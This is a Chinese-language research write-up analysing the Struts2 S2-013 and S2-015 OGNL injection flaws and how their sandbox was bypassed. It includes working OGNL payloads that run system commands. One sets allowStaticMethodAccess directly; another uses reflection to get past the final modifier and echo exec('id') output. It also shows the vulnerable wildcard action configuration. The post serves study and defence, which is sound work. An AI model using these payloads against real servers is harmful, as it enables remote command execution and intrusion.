这篇文章的重点不在于分析漏洞,而是通过漏洞去分析struts2沙箱的防护以及绕过,注意本文的struts2的版本范围与漏洞影响的范围是不对应的,只是顺序问题。
然后本文环境是使用的kingkk师傅仓库的 https://github.com/kingkaki/Struts2-Vulenv/tree/master/S2-015
payload
${(#_memberAccess["allowStaticMethodAccess"]=true).(@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app'))}
这个漏洞的调用堆栈是这样的
这个洞的原因呢是struts2的标签中 <s:a>
和 <s:url>
都有一个 includeParams 属性,这个属性可以设置为
none - include no parameters in the URL (default) get - include only GET parameters in the URL all - include both GET and POST parameters in the URL
问题出现于这种标签解析的过程注入了OGNL表达式,当为 all
的时候payload可以get和post,当为get的时候只能利用get请求触发,当为none的时候不会触发。
在一开始我们关注 allowStaticMethodAccess
,因为它默认为false,阻止了我们去调用静态方法, SecurityMemberAccess
类中定义了这些操作,然后它继承自 DefaultMemberAccess
我们再来了解下什么是 _memberAccess
,在OgnlContext包里面
然后可以看到调用到
public class DefaultMemberAccess implements MemberAccess { public boolean allowPrivateAccess = false; public boolean allowProtectedAccess = false; public boolean allowPackageProtectedAccess = false; public DefaultMemberAccess(boolean allowAllAccess) { this(allowAllAccess, allowAllAccess, allowAllAccess); } public DefaultMemberAccess(boolean allowPrivateAccess, boolean allowProtectedAccess, boolean allowPackageProtectedAccess) { this.allowPrivateAccess = allowPrivateAccess; this.allowProtectedAccess = allowProtectedAccess; this.allowPackageProtectedAccess = allowPackageProtectedAccess; }
明显看出这里控制能访问哪些函数,然后有个地方我没有调试清楚 _memberAccess
和 SecurityMemberAccess
之间是如何是建立起共享属性的,文章 https://paper.seebug.org/794/#32-struts-2320
写了调试的过程。
但是我们可以知道通过ongl调用全局属性 _memberAccess
来修改掉 allowStaticMethodAccess
,那么我们就可以去调用类静态方法。
对于s2-013来说,payload如下
${(#_memberAccess["allowStaticMethodAccess"]=true).(@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app'))}
payload
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action
这个漏洞产生于在配置文件中,配置了action通配符为 *
,并且动态解析的时候,内容作为OGNL注入了
<package name="S2-015" extends="struts-default"> <action name="*" class="com.demo.action.PageAction"> <result>/{1}.jsp</result> </action> </package>
这个配置可以让我访问 *
的时候去访问对应的jsp页面
漏洞就出在了跳转jsp页面的动态解析过程,看下调用堆栈
然后不细讲了,看一下关键部分即可,在 struts2-core-2.3.14.2.jar!/org/apache/struts2/dispatcher/StrutsResultSupport.class
public void execute(ActionInvocation invocation) throws Exception { this.lastFinalLocation = this.conditionalParse(this.location, invocation); this.doExecute(this.lastFinalLocation, invocation); }
这里是初步处理完的跳转,然后进入 conditionalParse
方法进行二次处理
在后面我们看到熟悉的处理函数
然后经过熟悉的格式处理到达
RCE了,大概漏洞流程是这样,重点还是分析沙箱的绕过。
在到版本 struts2-2.3.14.2
时,看diff
将allowStaticMethodAccess添加了 final
修饰符,删除了 setAllowStaticMethodAccess
没办法直接修改了,那么如何如何绕过呢,看网上的payload
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action
在我测试过程中发现 xwork.MethodAccessor.denyMethodExecution
本来就是false,所以payload为
${#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action
这个思路是利用反射机制去调用和操作私有域和方法,详情看文章 https://www.cnblogs.com/ixenos/p/5699420.html
,然后突破了final,然后后面就是构造的回显了
output: 123
参考:
https://paper.seebug.org/794/#32-struts-2320 https://www.anquanke.com/post/id/161690 https://blog.semmle.com/ognl-apache-struts-exploit-CVE-2018-11776/ http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities/#S2-015